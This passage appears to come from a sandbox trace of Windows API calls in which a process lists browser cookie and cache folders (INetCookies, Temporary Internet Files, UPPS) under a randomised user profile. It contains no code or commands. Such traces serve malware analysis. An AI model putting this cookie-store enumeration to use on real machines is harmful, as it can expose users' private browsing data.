dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0219.342] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.342] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", lpFilePart=0x0) returned 0x4e [0219.342] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\dntexception\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf3a000c1, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf3a000c1, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.342] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf3a000c1, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf3a000c1, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.342] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf3a000c1, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xf3a000c1, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf3a000c1, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0219.343] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0219.343] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.343] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9b4a0) returned 1 [0219.343] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low", nBufferLength=0x105, lpBuffer=0x1dc9af80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low", lpFilePart=0x0) returned 0x52 [0219.343] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\dntexception\\low\\*"), lpFindFileData=0x1dc9b1b0 | out: lpFindFileData=0x1dc9b1b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.344] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.344] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.344] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b3d0) returned 1 [0219.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b390) returned 1 [0219.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9b4a0) returned 1 [0219.344] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low", nBufferLength=0x105, lpBuffer=0x1dc9af80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low", lpFilePart=0x0) returned 0x52 [0219.344] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\dntexception\\low\\*"), lpFindFileData=0x1dc9b1b0 | out: lpFindFileData=0x1dc9b1b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.345] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.345] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.345] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b3d0) returned 1 [0219.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b390) returned 1 [0219.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.345] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", lpFilePart=0x0) returned 0x45 [0219.345] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\low\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.346] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.346] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.346] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.346] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", lpFilePart=0x0) returned 0x45 [0219.346] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\low\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.346] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.347] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.347] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.347] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", lpFilePart=0x0) returned 0x4a [0219.347] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\privacie\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.347] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.348] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0219.348] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0219.348] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.348] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", lpFilePart=0x0) returned 0x4a [0219.348] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\privacie\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.349] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.349] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0219.349] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.349] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9b4a0) returned 1 [0219.349] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\Low", nBufferLength=0x105, lpBuffer=0x1dc9af80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\Low", lpFilePart=0x0) returned 0x4e [0219.349] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\privacie\\low\\*"), lpFindFileData=0x1dc9b1b0 | out: lpFindFileData=0x1dc9b1b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.350] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.350] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0219.576] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", lpFilePart=0x0) returned 0x4e [0219.577] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\temporary internet files\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0219.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c3c0) returned 1 [0219.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0219.579] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS", lpFilePart=0x0) returned 0x3a [0219.579] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\upps\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5ae5bb, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf24b0fc0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf24b0fc0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4bd0 [0219.579] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5ae5bb, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf24b0fc0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf24b0fc0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.580] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24b0fc0, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xf24b0fc0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf24b0fc0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPPS.bin", cAlternateFileName="")) returned 1 [0219.580] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9c0f0 | out: 